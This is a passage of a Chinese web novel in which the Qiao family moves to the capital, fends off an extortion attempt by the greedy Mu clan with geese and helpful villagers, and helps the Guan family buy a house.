牧星河听得更加心疼,可是乔溪儿受的苦他不能分担,只是握紧了她的手,暗暗在心中决定,这一辈子都不会辜负她。 太子给乔镰儿带来了好消息,兵部已经下了调换令,关宁铁骑驻地已经收到消息,只要部队一抵达边境,关宁铁骑驻地就整队出发。 乔镰儿道:“只是两地调换,京城这边的部队愿意么?” 这久以来,她一直在想这个问题,待在京城的好处太多了,就算一辈子不能升职,可是京城的吃喝玩,岂是其他地方比得起的。 太子道:“在京城待惯了的人,自然不愿意到偏远的地方去,这一次部队调换,涉及五地,所以才用了一个多月的时间。” “怎么说?” “就是京城的部队调到五百里开外的大城,然后大城的部队调往另一个较远的城市,依次类推到边境。” 这样算来,一个多月完成,算是高效率了。 看来,太子也是一个很务实的人,答应给办的事情,就会踏踏实实办好,而且做事很聪明。 乔镰儿觉得,这是一个信得过的合作伙伴。 边境已经接到消息,她自然是要回去一趟。 乔家二老在京城待了一个多月,也一起回去。 一看到她,乔大用就眉飞色舞地说:“镰儿,你还不知道吧,这里接到了京城的来信,要和连州的部队交接,关宁铁骑驻地从上到下都前往京城驻军。” “部队现在都沸腾了,那可是京城,多少人梦寐以求又去不了的地方,离家再远也没关系,反而会成为家中的骄傲,我和二叔,还有小猛,也可以去京城施展,其他家人都跟着去京城,我们一大家子可以随时团聚了。” 乔大用因为激动,声音有些发颤,他们本来以为要一辈子留在边境驻地,不过好在有镰儿,家人相聚容易,倒也不怎么遗憾。 可现在知道能够去京城,一家子再也不用分开了,说不定还会拥有更好的前程。 乔镰儿面带微笑,一切尽在不言中。 大用马上就回过味来了,这一定是镰儿的安排,不然他们远在边境,山高皇帝远的,存在感很低,京城那里又怎么会想到把他们调过去。 大成他们先去京城了,镰儿也没有忘记留在边境的家人,而是找机会为他们做安排。 想到这些,大用热泪盈眶。 “镰儿,我知道了,是你,你要把大家安顿到京城去,让咱们乔家一大家子在一起。” 乔家二老现在也才明白是怎么回事。 “啥,你们都可以去京城了?其他人也可以跟着去。”乔老太的眼睛一下子亮了。 虽然老年眷恋故土,但京城是个好地方啊,吃的喝的,逛的玩的,眼界不断开阔,谁不喜欢呢?乔家人都在那里呢,乔家的未来也在那里。 “奶,爷,我怕你们不太想去。”乔镰儿眨眨眼。 “胡说,有金疙瘩不知道捡,那是傻子,老婆子,咱们快去做准备。”乔老头一边说着,一边迈开轻快的步伐。 第584章 只剩老弱妇孺,上门挑事去 乔老太吩咐冯氏凌音她们:“要去京城了,快收拾东西,这一去,是几乎不回来了,该收的都收好。” “音丫头,你赶马车回去,跟你爹娘说一声。” 乔家人乍然知道这个消息,都是一愣一愣的,但一想到那可是京城啊,又要天天和一大家子在一起了,心中都是无比的激动。 凌音意识到以后要远离父母,一阵不舍,但是想到镰儿随时可以送她回娘家看看,马上打消了这个心结,去马棚下套马车。 乔老太进了房间又出来,捧着一个沉甸甸的盒子,往凌音手上一塞。 “以后很难见到亲家了,把这里头的东西带去给你爹娘,让他们安安心心过日子,不要挂念。” “你若是想见你爹娘,让镰儿捎带你去。” 凌音打开盒子一看,是三百两白花花的银子,正要推脱,乔老太在她的前面说道:“你爹娘好教养,你嫁到我们乔家来,是乔家的福气,你在大田村,可以随时回去看看,可到了京城,虽然有镰儿,但终归不及这里方便,这点银子算是对你爹娘的弥补,他们收下了,好有照应,你往后也安心一些,咱们乔家不缺钱,别拘谨,快去了回来,还有好多东西要收拾呢。” 凌音只好接受这一笔银子,前面陆陆续续,乔家也给娘家不少了,娘家如今已经盖起宽敞的瓦房,日子过得红红火火的,都是乔家的恩惠。 因为是跟七百里开外的驻地进行调换,所以进程很快,预计五天后就可以出发。 乔家人挨家挨户送东西,糖饼和布匹,还有京城的一些土特产。 村里人感动得热泪盈眶,想着乔家人就要走了,以后很难再见到,又很舍不得。 可人家这是去京城享福,以后子孙后代都在那里扎根,享受荣华富贵,这是多少人求之不得的。 大家不舍之余,只有道一声恭喜。 乔家人送了村里人东西,村里人不能什么表示都没有,再说这一别,恐怕再也无法相见了,纷纷拿出熏制的腊肉,麻辣香肠,腌制的酸笋,从山上找的野蜂蜜。 有什么贵的就送什么。 乔家送的好布料,他们这一辈子都穿不起,京城的土特产,也是第一次开眼。 乔家人推脱不过,只好怀着感动收下。 祖祖辈辈都生活在这里,这里是他们的根,都生活了几十年,十几年,这里的山山水水,早就成为他们血液里的一部分。 一想到要永远离开这里,心里面倏而传来一阵刀子割裂般的疼。 但是,为了这个家更好,为了乔家子孙都过上好日子,都有好前程,他们必须去京城。 “我们,会来看望大家。”乔老太握着老姐妹的手,放开几次又握住。 “你们在京城好好的就可以,来一趟可折腾了,年纪又大,身子骨禁不住,大家相互挂念,就足够了。” 乔镰儿看着偌大的院落,等到乔家一走,这里就会变得空荡荡的。 其实可以卖掉,但她决定不卖,而是留一些人在这里打理。 什么时候乔家人想回来看一眼,也好有个归处。 她把想法跟大家说了,乔家人都很赞同。 毕竟根在这里,要是这个家卖了,想起来都会空落落的。 有个惦记的地儿,总是不一样。 外地三万部队来到的时候,这边也已经准备好了,用一天的时间进行交接,第二天,关将军和乔家将领率领部队出发。 至于褚卓,他决定留在这里,和石慕柔在一起。 毕竟,石家只有石慕柔一个后代,她不能远去。 部队出发,褚卓和石慕柔也来相送。 “镰儿,以后记得来看看我们啊。”石慕柔牵着一个两岁的男孩,肚子里又怀了一个。 “距离太遥远,不求多,但你一定要来。” 乔镰儿其实并没有太多离别忧愁,因为她想去哪里都自由,想回来看一眼朋友,还不是眨眼间的事情。 但看石慕柔红着眼睛,她也被这样的情绪感染。 “会来。”乔镰儿承诺,又伸手刮了刮她刚刚隆起的肚子:“等到小家伙生了,我来瞧一眼。” 褚卓要留在这里,虽然驻地将军会为他安排,但是为了避免新的部下不服从管教,关将军给他留了六千人。 关将军拍了拍褚卓的肩头:“要记住,你是关宁铁骑驻地的原住民,在这里扎根了三年,在新来的将领面前不要露怯,利用你对这里的熟悉,为他们好好引导安顿,尽快让一切步入正轨,也不要摆架子。” 褚卓想了想,明白了关将军的意思,要的是一种游刃有余的周全感,又不能让新来的将领觉得他仗着对这里的熟悉凌驾于人之上,反正就是,谦逊地体现他的作用,争取一份好感和重视。 “是,属下知道怎么做了。” 关将军爽朗笑了笑:“说不定以后需要打仗的时候,我们会在战场上相见,到时候,让我这个老上司看看你又长了多少能耐。” “嗯,属下不忘勤勉,积极上进,不会叫关将军失望。” 关将军哈哈大笑,利落地翻身上马。 乔家男人和褚卓也是好一番惺惺相惜的告别。 褚卓是乔家的大恩人,当初宋老三手上的剑要落下来的时候,是褚卓收下他们,让他们成为他的部下,幸免于难。 乔家男人在部队的发迹,由此踏出了一步,后来又到了京城。 关颂和关雪一个抱着乔镰儿的手臂,一个抱着乔镰儿的腿,不肯撒手。 脸上都是欢喜雀跃。 因为,以后都可以和姐姐在一起了。 关语琴欣慰一笑,摸摸两个孩子的脑瓜子:“以后不烦得你们镰儿姐姐要死。” “姐姐才不会嫌弃我们呢,是不是呀姐姐。”关雪脸颊一鼓一鼓,小嘴一撅,都可以钓鱼了。 “是啊,咱们一起逛京城去。”乔镰儿莞尔。 分别之后,部队在晨曦之中出发。 因为要带领部队,乔家男人随军出发,乔镰儿不能向太多人透露她的秘密,所以关语琴母子三人也只能乘坐马车前往京城,她找了一个借口,晚一天再走。 现在,留在家里的,只有几个婆子,三个杂役,其他的都是老弱妇孺。 牧老大一合计,带着几个兄弟找上门来。 第585章 星河贪的都在你们手里,交出来 乔家人要离开大田村了,挨家挨户发了礼,就连沈家都有份。 沈家再也没有作过妖,而且经常从乔家进货,等于建立了一种合作关系,只要安分守己,这个面子,乔家还是会给的。 唯独牧家,乔家什么都没有给,直接略过。 牧家因为牧星河的事情,本来就和乔家不对付,没有得到乔家的礼,更是觉得乔家是在故意羞辱他们。 现在,看到乔家男人走光了,牧家又忍不住蠢蠢欲动起来。 马上乔家人都要去京城,不趁这个机会报复回去,捞一点好处,牧家人觉得,以后都会落下憾恨,睡不着,吃不下。 四弟兄,带上他们的儿子,浩浩荡荡,就往乔家而来。 乔玥迈着小短腿,跑进乔镰儿的房间,伸手扯了扯她的衣角:“姑姑,有人,有好多人。” 小丫头两岁多,可脸上却带着一抹紧张,显然是察觉到了危险。 乔镰儿走出门一看,牧家人已经到了下头,距离乔家也不过几户人家之隔。 她若无其事返回院子,放出来一群白花花的大鹅。 然后摸摸乔玥的头:“不怕,坏人来了,咱们打跑就是。” 乔玥眼睛一眨不眨地看着那些大鹅,每一只都比她还要高,张着翅膀蓄势待发,将她显得弱小可怜又无助。 乔镰儿搬来了一张椅子,就坐在大门口,脸上的神情一片平静,浑身隐隐散发出一抹威慑。 如今的她是成年的装束,满满的大人的感觉,气场比以前要强势许多。 牧家人本来是要往家门里冲的,见状不由得生生刹住了脚步,心跳莫名加快了不少。 好像乔镰儿动动手指头,就能要了他们的命。 不过他们马上想到,乔镰儿也不过刚满十五岁,又不会啥武功,这一副了不得的样子,是她郡主的身份带给她的,他们来讨债,可不管她的身份,这里是山高皇帝远的农村,弱肉强食,谁拳头硬说谁说了算。 乔镰儿抬起眼皮:“有什么事吗?” 看牧家人个个手里面拿着家伙,砍柴刀,锄头,铁棍子,斧头,应有尽有。 “当然有事,没有事我们会找上门来?”牧老三哼了一声。 “噢?” 牧老大拿出大伯的架势,冷着脸道:“自从牧星河中了进士,在京城做了官,就再也没有回来过,他作为牧家的后代,没有牧家就没有他,却如此忘恩负义,享了福,就把家族的人全给忘了,没有这样的道理。” “还是说,是你们乔家不让他回来,把他每个月的俸禄奖励,都收入囊中,等于是都孝敬你们乔家了,既然如此,你们乔家要补偿我们牧家。”乔老四说。 这样恬不知耻的话,把乔镰儿给听笑了,人的不要脸,是可以没有底线的。 “牧星河每个月那几银子,那点粮食,我们乔家不至于起心思,你们牧家未免以己度人了吧。” 牧星河身为六品的吏部主事,每个月是八两银子,一百斤米粮。 按照这个俸禄,他一辈子都买不起京城的房子,所以她直接送了一个宅院。 牧家人居然说是她惦记着八两银,这也太好笑了。 “几两不过是明面上的,不知道贪了几千万两,都在你们乔家人手里,你身为郡主,更是不可能干净,以为我们是村里的泥腿子,就什么都不懂。” 牧老大家的大儿子一副看穿了世间阴暗面的样子。 乔镰儿沉默了下来,人到无语的时候,是真的不想说话。 “既然几百几千万两都在你们乔家人的兜里,我们牧家培养出了牧星河,牧星河该孝敬牧家的部分,是不是要你们乔家人来出。”牧老三的儿子道。 “你们哪只眼睛看到了,牧星河贪了几千万两,又有哪只眼睛看到,我们乔家把这些钱都揣在兜里。”乔老太从屋子里出来,一顿强效输出。 “光天化日,空口白牙泼人脏水,只想着从星河身上捞好处,没有想过,你们对星河付出了什么,也好意思扯家族,他是姓牧,但他是人,和你们这些猪狗不如的没啥关系。” 牧家人都变了脸色,居然说他们猪狗不如。 这个家族出了一个京官,还是殿试的状元,在村里头排不上第一也要排第二,死老太敢这样侮辱他们。 “乔老婆子,你说得再粗俗难听,也改变不了牧星河是从牧家出去的事实,今天我们来也不是为了吵架,而是来要一份公道,拿走我们牧家该拿的东西。” “不然,你们占尽了好处,又要都去京城享福,等你们都走了,我们找谁说理去。” “不拿出一百万两,你们休想离开。” “对,我们不贪多,只要一百万两,算是牧星河对这个家族的报答。” 看到乔家门前有情况,来了不少村里人,见牧家人这样不要脸,大家义愤填膺地指责。 “这是我们牧家跟乔家的恩怨,我们会和乔家好好解决,跟你们一点关系都没有,最好都少管闲事,以后乔家人一走,跟你们相处的是我们牧家,牧家不算富裕,但是男人多,哪个不怕死的,只管来招惹。”牧老二脸上的横肉在抖动。 原以为,这一番威胁有用,想不到村里的男人们反而上前走了一步,都撸起了袖子,一时间形成一种腾腾的气势。 “你们就是欺乔家男人走了,老弱妇孺留在后头,想要来闹事捞好处,告诉你们,村里这么多男人,都是乔家人的后盾,不会让你们得逞。” 看到所有人都站在乔家这一边,牧家人的气势顿时矮了一大截。 他们恶狠狠地看了一下站在前头的人,这些人敢做出头鸟的话,等到乔家一走,挨家挨户欺负去。 乔镰儿心头一片感动,对于她来说,村里人有这一份心意就够了。 但是,她不会把麻烦留给善良的大家。 她开口:“好,那我就把属于你们的东西还给你们,只怕你们无福消受。” 第586章 我们牧家也举家上京城 牧家人见她这么轻易就松口,不由得大喜过望。 还以为要多费一番周折呢,看来人多果然有用,乔家感到压力只能妥协。 郡主有什么了不起,还不是要屈服在他们的威慑之下。 “不仅仅是一百万两,还要算利息啊,我们牧家宽宏大量,就给你们算二十万两的利息吧。” 牧老三的媳妇扯着破锣嗓子道。 “可以啊,只要你们拿得动。”乔镰儿很顺口地接。 大家惊讶地看着乔镰儿,不敢相信她会妥协。 “镰儿不要害怕,有叔叔伯伯们在,不会让你们受委屈。” “你们全家都要去京城了,那就开开心心去,他们闹不起来的。” “咱们这么多人,怕他们做啥,帮你们乔家可不只是嘴上说说,要使硬拳头的。” 大家达成了一致的意见,不能让大田村给乔家最后留下的是阴影。 不然,以后乔家人都不会回来看大家了。 不过,乔家人的情绪却没有什么变化,她们太了解乔镰儿了,怎么可能会把一百万两拱手给牧家人,一个铜板都别想。 乔镰儿会心一笑,她道:“很感激大家的这一份心意,我给牧家人的东西,可是比一百万两白银还要值钱。” 拍了拍手,那一群大鹅扑腾着翅膀从院子里冲出来,伸长了脖子,扑噔扑噔跑得飞快。 它们冲到牧家人的跟前,张嘴就咬,咬了还死命地拧一下,有的干脆就拧着不放。 牧家人被攻击了个猝不及防,阵脚一下子乱起来,发出声声凄厉的惨叫,此起彼伏,回荡在半空。 这大鹅拧人,可比中了刀伤还要疼,拧一下都要活活疼晕掉。 不仅仅拧脚脖子,腿,还飞跳起来啄头,胳膊,好不容易打掉前面的两只,后面又来了几只。 村里人大饱眼福,叹为观止。 为什么人家老弱妇孺敢在家,因为人家根本就不用怕。 村里的男人,乔家的杂役,婆子,也一起上场,把牧家人打了个落花流水,满地找牙。 场面尘土飞扬,人影混乱,只听见牧家人嗷嗷的惨叫。 “不打了不打了,不敢了。”牧家人趴在地上求饶。 “还要不要一百万两啊。”乔镰儿道。 “不要了,不要了。” 乔镰儿语气平静:“就说你们承受不住。” 不过她没有马上让大鹅停下来,又让大鹅好好收拾了一会牧家人,直到他们连惨叫声都快要发不出来了,只剩下无力的呻吟和呜咽,这才拍了两下巴掌,大鹅们又纷纷跑进了院子。 男人们和婆子们停了手,刚才一顿拳脚猛砸,只觉得十分酣畅淋漓,太痛快了。 早就看这家人不惯,早就想揍他们一顿了。 因为有大鹅先发起攻击,一开始就陷入了混乱,哪些人打了他们,牧家人压根就没有看清楚。 有的被拧瘸了腿,有的被啄瞎了眼睛,他们相互搀扶就从地上起来,哎哟哎哟叫着离开。 心里面有千般万般怨气也不敢发作,免得再遭一波罪。 “谢谢大家来帮忙,出发之前,看到大家这样护着咱们乔家,我老婆子永远都不会忘记。”乔老太拎着一个篮子出来,里面装着糖饼,发给大家。 “乔大娘,不必客气,这是我们该做的。” “是啊,你们对我们仁至义尽,我们怎么能看着有人来欺负你们。” 村民们只是象征性地抓了一小把,然后纷纷回去了。 乔镰儿把要带走的东西都收到空间里,又对婆子杂役们好生叮嘱了一番。 “你们只需要看好这个家,不要让院子里面长杂草,不要让桌椅蒙尘,到了节日,如果我不回来,就在神龛前上一炷香,烧些纸。” “养的猪,还有鸡鸭,你们自己分了就好。” 婆子杂役们听了一阵激动,郡主实在太大方了。 “该送你们的送你们,没有送你们的,哪怕是一个凳子都不能动,哪个屋子有哪些东西,我心中有数。”乔镰儿道。 下人们赶紧应下。 “给你们的月例,我就放在清水镇石家,每个月会有人来给你们发放,发的时候会检查一下院子。” “是。” 乔镰儿让大家自行忙去,突然有什么蹭了蹭她的膝盖,毛茸茸,暖乎乎的感觉。 一看是大顺。 大顺已经四岁了,因为是狗和狼配出来的,有狼的血统,所以生得威猛高大。 刚才大顺也没少发挥功劳,在牧家人身上不知道咬了多少道血口子。 可不知怎么的,她感到大顺低眉顺眼的,好像有些委屈的样子。 “大顺,我们要去京城了,你不高兴吗?” 大顺猛然抬起头来,眼里一片激动,它也有份,它还以为,主人要把它和那些猪,还有鸡鸭打包送给仆人呢。 如果是那样的话,它才不愿,它要滚在地上撒泼,它要整晚狼嚎。 大顺高兴起来,蹦蹦跳跳,还打了几个滚儿,又站立起来,前爪子耷拉垂下,吭哧吭哧吐舌头。 乔镰儿从来没有见过大顺这样反常的样子,忍不住嗤一声笑了。 一想就明白过来,摸摸它的狗头:“不会落下你的,你也是这个家的一份子啊。” 第二天一大早,村里人起来的时候,发现乔家人不知道什么时候已经出发了,院子里的两辆马车也不见了。 “希望乔家人在京城一切平安。”一个老奶奶双手合十。 牧家人哎哟哎哟,叫了一个晚上,第二天才稍微缓过来一些。 媳妇和丫头们伺候着床上的男人,一下子就买去十两的汤药费,一家子都愁眉苦脸。 “不行,凭什么我们在这个偏远的村子里辛辛苦苦土里刨食,牧星河却在京城享福,他捞的那些好处都被乔家人拿去,早就知道乔家人当时扶持牧星河目的不纯,现在他们总算是如愿了,可牧星河是牧家人,乔家人吃拿卡要,好处尽占,也太不知羞耻。”牧老大靠在床头上,忿忿不平地说。 特别是被乔镰儿的大鹅收拾了一顿,心中怨气沸腾,这样的好处,更是不想让给乔家。 “大哥,乔家人全都走了,牧星河也在京城,我们还能咋办啊。”牧老三说。 牧老大咬牙切齿,说出心中的决定:“我们也举家上京城。” 第587章 卖房子,卖宅基地,卖田地 虽然很惦记牧星河拥有的东西,但这样的想法,牧家人还真的没有过。 要知道举家搬迁是大事,人一走,家里的田宅怎么办,去到新的地方,又要买宅子安顿,牧家手里头没有几个子,又是去京城,怎么可能买得起宅子,只怕要露宿街头。 所以,牧家人听得心里直打鼓,牧老三甩出了心中的疑问。 “家里的田宅卖掉,十二亩田,可以卖一百二十两,家里的宅子连同宅基地,可以卖一百五十两,合计二百七十两,再加上手里的积蓄,有三百两出头,支撑我们去到京城完全没有问题,到了还有大量剩余。”牧老大很是老道地分析。 牧家老头刚刚过世,还没有来得及分家,家产田地都在一起,正好方便分配。 “不行啊大哥,听说京城的宅子,至少也得二三千两,咱们家把田宅卖了,连边都摸不到。”牧老二说。 “这还不简单,别忘了我们去京城做什么。”牧老大的眼里释放出一抹贪婪。 “只要找到牧星河,让他给一处宅子,把我们安顿下来不就是了,他现在是京官,怕是都捞了几十套,到时候看情况,给住的还不算,还要多给几处让我们收租。” 牧老大说得头头有道。 牧家人眼睛一亮,是这个理,他们本来就是去找牧星河的,一切吃喝安顿,不靠他靠谁? “给吃的住的只是基本,他如今有能耐了,也该给咱们牧家每一个人都安排一个职位,让咱们也领俸禄,吃国家饭,一辈子无忧,能平步青云最好。”牧老四说。 牧家人的心中更是亮堂一片,有宅子住,天天吃着山珍海味,又有官做,这不比在这个偏远的地方做泥腿子好多了? “我可不相信,堂弟会愿意搭理咱们。”三房的丫头说:“他自从做了官,就离咱们远远的,从来没有回来看过一眼,显然是把牧家忘了,就是个忘本的,说不定他还觉得自己是乔家人呢。” “是啊,搬迁这种事情要慎重,万一到了京城不如意,那里安顿不下来,大田村也回不来,一大家子该咋办。”牧老二的媳妇说。 牧老大哼了一声:“你们的脑子都是榆木疙瘩做的,那是什么地方?那是京城,牧星河在京城做京官,京官最重要的,不仅仅得有能耐,还得有孝道,要是六亲不认,做白眼狼,把这种事一揭露出来,他就会被人指指点点,甚至丢了职位。” “我们在这里待着,他可以不理会我们,可是到了那种地方,我们完全可以拿捏他。” 听牧老大这样有理有据的一番分析,就连持保守态度的妇人丫头们也心动了。 “我今年二十岁了,还没有嫁人呢,到了京城,我要寻个高门大户,嫁过去做贵夫人,从早到晚都有人伺候,简直不要太美好。”牧老三的小女儿说。 牧星河是第五房所出,他的好几个堂姐已经出嫁,唯独剩下两个,一个牧老三家的小女儿牧桃仙,二十岁,一个是牧老四家的独女牧桃秋,十九岁。 牧桃仙生得丑陋,眯眯眼香肠嘴酒糟鼻,再加上一脸麻子,让人望而生畏,牧桃秋样貌普通,按理来说应该不愁嫁,但是腿脚有残疾,走路一瘸一拐,很不雅观。 看着自家兄弟嫂子嫌弃排斥的目光,她们本来急得像热锅上的蚂蚁,但现在要去京城了,京城有牧星河,会给她们做安排,怕啥? 有了规划,二人比其他人更盼着去京城。 牧桃秋得意地眄了自己的二嫂一眼,水氏是最容不下她的,天天含沙射影挖苦她,说她嫁不出去,现在好了,她马上要嫁达官贵人,而她的二哥只是一个普通人,能不能谋到职位还不一定呢,到底是她的命更好。 一大家子憧憬着美好的前途未来,心情都处于激动之中,连呼吸都急促了许多,眼睛发出饿狼扑食的亮光,男人们也忘记了身上的疼痛。 “等到养得差不多了,咱们就卖屋子,卖宅基地,卖田地,全家往京城出发。”牧老大道。 牧星河身为吏部六品主事,每天兢兢业业,不敢有半点疏忽,也没有那些不安分的心思。 他清楚,进入官扬,就不要想着发财,把每一桩公务做好,对得起国家,对得起百姓,仰不愧于天,俯不愧于地,这是他的担当和职责。 他是没有想到,在牧家人的眼里,他已经成了贪几千万两白银,拥有至少几十套宅子的贪官。 不过,他的辛苦和勤勉没有白费,很快,他被破格提拔为从五品的员外郎。 牧星河以为,他刚刚进入官扬不久,要提拔也得一年之后了,所以对于这个消息,他又喜又意外。 赶紧对卢大人谢恩。 卢大人摆摆手:“这是你该得的,你的长进我看在眼里,这一年来,你处理公务的效率不断提高,也极少出现纰漏,这正是我想要的下属,再接再厉吧,能者居上,吏部不会亏待你。” “还有。”卢大人郑重地看着他:“星河,你切记一点,不管现在什么位置,都要保持初心,不可走偏了去,如此才是长远之计。” “这天下污浊横行,大多潜藏在暗处,以为皇上不知道,实际上皇上的心里头跟明镜似的,既然身在其位,要以为皇上分忧天下事为职责,而不是给皇上增添烦扰。” “星河明白了。” 卢大人点头。 牧星河正要退下,突然想起一件事来,这件事一直在他的心头,只是问起来显得突兀。 此刻,他也斟酌着该不该开口,毕竟在卢大人的面前,他只说公务之事。 “你有什么就说吧,别太拘谨。”卢大人含着温和的笑意。 “前年与昌华兄一别,从此再无音讯,也无信件来往,不知昌华兄情况如何了。” 卢大人欣慰地笑了起来:“难得你还记着昌华,他中举之后没有再考,在越州的祥渡县做了一个候补县丞,昌华资质较为平庸,但好在勤能补拙,每次也算上进,能不能到京城来,以后看他的造化吧。” 他虽然是卢昌华的叔公,但也不会大开方便之门,能力永远是他的第一标准。 牧星河迈进乔家的大门,脚步轻快,心中揣着这么一个好消息,迫不及待要告诉大家。 第588章 去京城当祸害?牧家人的地咱不买 乔镰儿让下人好好准备一桌家宴,也不请外客,尽量低调。 等到牧星河成为四品,就可以上早朝面见皇帝,而她的计划,也从那个时候开始。 是的,她想要议政,获得一定的内政大权,牧星河是她的一个切入口。 不仅仅是因为对裴二的承诺,更重要的,是她想要让自己的人生更有分量,想要让手上拥有更多的东西,以及让乔家有更好的未来。 她并不觉得这有什么不对,人都有野心,只要靠光明的途径去争取。 乔溪儿也喝了两口酒,秀美的脸颊有些泛红,眼里是一片温柔和满足,有这样的夫君,她感到很骄傲。 大用他们还在路上,部队都分配了马匹,行程已经过半,还有小半个月就抵达。 牧家人养了十天,开始卖宅子,卖地,而且是全部卖掉,一亩都不留。 对于这样反常的举动,大田村村民感到很惊讶。 “你们这是在干啥?是不是被大鹅啄傻了,把宅子和田地都卖掉,你们住哪里,吃啥。” 牧家人现在看村里人的眼神已经变了,是一种居高临下的俯视,是一种对底层人的轻蔑。 “干啥,卖掉去京城啊,毕竟牧家出了一个京官,我们当然要去投靠了,乡下的宅子算得了啥,星河手上不知道有几百套宅院,牧家人一人分几套都分不完。” “说不定还能一人分几个铺子做生意。”牧老大的大儿子说。 “不说星河是个老实本分的人,就算有这些,会给你们?你们忘了当初是咋对他的,还有脸去跟他讨要好处。”村里人嘲讽。 “一家子有矛盾摩擦很正常,你们家里还不是吵来吵去,牧星河的根在牧家,他永远改变不了他是牧家人的事实,没有牧家就没有他,我们到了京城他敢不理我们,哼,那就毁了他的前途,他不得把我们当祖宗供着。” 见牧家人这样无耻,村里人不由得义愤填膺。 “不要脸,竟然打这样的主意,大家记住了,牧家的宅子和田地再便宜我们也不买。” “对,不买,不给他们去京城祸害牧家和乔家的机会。” 村里人纷纷道。 牧家人还指望着村里人接盘呢,见村里人这样团结一致,脸色隐隐发青。 “不买也没关系,还有外村的人,有镇子上的人,我们家的宅地不愁卖不出去。” 牧家人又行动了起来。 镇子上的有钱人家喜欢买地,才一个下午的时间,就卖去了一半。 等到第二天,宅子和地都卖完了,牧家人忍痛买了三辆廉价马车,全家二十几口一起上京城。 “让他们去,肯定被镰儿收拾得落花流水,到时候再回来,屋子也卖了,地也卖了,这里根本没有他们的立足之地。” “没错,我们就等着看他们的笑话。” 村里人都见识过乔镰儿的本事,牧家人敢到她的面前找事,等于是头铁,跟送人头没有什么区别。 关将军的部队到了,当初调走的,是城南的城防军,那么部队便是去填补这个空缺。 京城的防守有三道防线,守最外圈的是城防军,分为东西南北四个方位,每个方位有三万人,保护城区安全的是驻城内军,有三十万人,拱卫皇宫的是禁军,有七万人。 等于说,有四十九万士兵守卫皇权,层层防护,固若金汤。 关将军的部下,原本有两万人,后面陆陆续续收纳了一些附近的小部队,一共有三万人。 六千人留给了褚卓,带来京城的有两万四千人,调离的部队留下一万余人,就有三万五千人。 因为人数的变化,还腾出了褚卓的位置,兵力又重新进行了分配。 乔家男人每人掌管五千人,为中郎将,另外两万人,关将军直接统率。 来京城做城防军,是多少外地驻军可遇而不可求的,每个人掌管的兵力还多了,又都升了职。 部队安顿下来,关语琴便带着两个孩子去找地租房子。 京城的房价贵,手上的积蓄不算少,但也不够,就只能先租着。 她打算租好了房子,再去拜访乔家人。 租一个离乔家近一点的,以后好走动,贵一点就贵一点吧。 关雪和关颂跟在她的身后很活泼:“娘,什么时候见姐姐,我们好想念姐姐啊。” 路途遥远,一路颠簸,大伙都是一身疲累,两个孩子本来恹恹的,可是到了京城,繁华迷人眼,到处都是新鲜好玩的,便雀跃起来。 关语琴笑了笑:“等把住处租好了,再去见你们的姐姐,用不了多久的,京城这么大,租一个房子也容易。” 不然,乔家人会问她有没有安顿处,说不定要来接济她,她不希望麻烦乔家。 两个孩子往前面一看,眼睛一亮:“姐姐,姐姐来了。” 关语琴这才看到,乔镰儿不知道什么时候来到面前。 她蹲下身来,两个孩子便扑了过去。 关雪扑到了乔镰儿的怀中,用小脸和她贴贴,幸福无比,关颂已经十一岁,长大了,站在乔镰儿身边,也是一脸激动。 “镰儿,我们刚到,打算先看看,晚点再去拜访你们。”关语琴有点不好意思。 乔镰儿站起身来,关雪还在拉着她的手,不肯撒下,关颂也仰着头,一脸崇拜地望着她。 一时间,乔镰儿的心都要化了。 “关小姐,你们是不是在找住处。” 她刚才留意到了,关语琴到处在看房屋招租的告幌。 “是呢,也快要找到了,找一处离你们近的,以后好方便。” “镰儿,你先回家吧,等好了去找你。” 乔镰儿却把关语琴拉到一处人少的地方,然后从袖子里面摸出一个盒子,郑重地交到她的手上。 “关小姐,这是当初你们家拿出来的一万六千两,我全部折算成了银票,你拿去买一处宅子,毕竟要在这里长久住下,就不要租了。” 刚才关语琴看的都是出租招幌,而不是卖宅院的相关消息,说明身上已经没有多少钱了,原来给乔家的补偿,已经是关家最主要的积存。 她以为,关家肯拿出那么多补偿,少说也有十万两的家当,原来是她想得太乐观了。 第589章 咋,做大官没告诉你们他在哪 关语琴一听,赶紧把盒子推回来:“不行,这是给你娘和你们乔家人的补偿,只有你们收下,我们关家才安心。” 她叹了一口气:“也是一开始我太年轻,没有经验,轻易就相信人,不知道我的决定,伤害了一个在家里苦苦等待的女人,我有罪。” “既然有罪,那就赎罪。” “不,关小姐,你没有错,你也是受害者,错的是宋老三,他已经被斩首,偿还了他的罪孽,恩怨两清。” “这些钱本是你们关家的,你拿好,现在你们到了京城,最好有一个稳定的安顿处,租房子不是长久之计,就算你不想要,也要为关雪和关颂想一想。” 关语琴侧开了脸,双眼含泪,她强忍着不让泪水掉落,可不知不觉脸颊上都是泪珠子。 “妹子,哭啥呢,不要用别人的错误来惩罚自己,我早就放下,如今感受大有不同,你也别留下心结。”乔云妮也过来了,轻轻拍着关语琴的后背。 “云妮姐。”关语琴颤抖着声音:“你一定要越来越好,我要看着你好好的,如此才能心安。” 乔云妮脸上带笑,眉目祥和:“我每天都很好,没有烦恼。” 关语琴很快买下一座中等规模的临街宅院,后面带个小园子,花去一万二千两,离乔家只有一条街的距离。 傍晚关将军回来了,本来以为是租的宅院,听说是买的,不敢置信。 “咱们家只有二千多两,哪里买得起京城的宅子。” 除非买偏远的城郊,不然,绝对买不到这样好的地段,还是个三进三出带园子的宅院,可以住四世同堂了。 关语琴把乔镰儿归还补偿的事情说了,关将军也是默然了好一阵子,他沉声感慨。 “乔家这一份恩义,我们关家铭记于心,乔家男人在我军中,只要我能够托举的,必当不遗余力。” 关将军很清楚,要在京城有一处安顿的宅子有多么不容易,他老关家拢共只有二万两的家当,补偿了乔家一万六千两,再陆陆续续用一些,手头上只剩下二千来两,不知道猴年马月才能买得起京城的宅院。 乔家把这些钱退还回来,等于是降临一扬甘霖。 柴管家来了,说是宴席已经备好,请关家人去吃饭。 大家欢聚一桌,因为部队刚刚抵达,需要休整几天,所以都放开了畅饮,满厅里都是酒香。 乔镰儿看着大家脸上的笑容,满室暖灯映照,为大家的脸庞披上了一层柔光,那样的温暖。 她不由得也勾起了嘴角。 但愿能够这样一直下去。 接下来几天,乔镰儿去给凌音和二伯母万氏每人盘了几个铺子,都登记在她们的名下。 关语琴手头有钱了,自己也盘了一个铺子来做小生意,和乔家的铺子挨在一起。 休整期过后,守南墙的城防军投入了训练,一切步入了正轨。 只是跟以前不一样了,每天晚上乔家人都在一起吃饭,一大家子团聚的感觉,让人觉得岁月安详,无比满足。 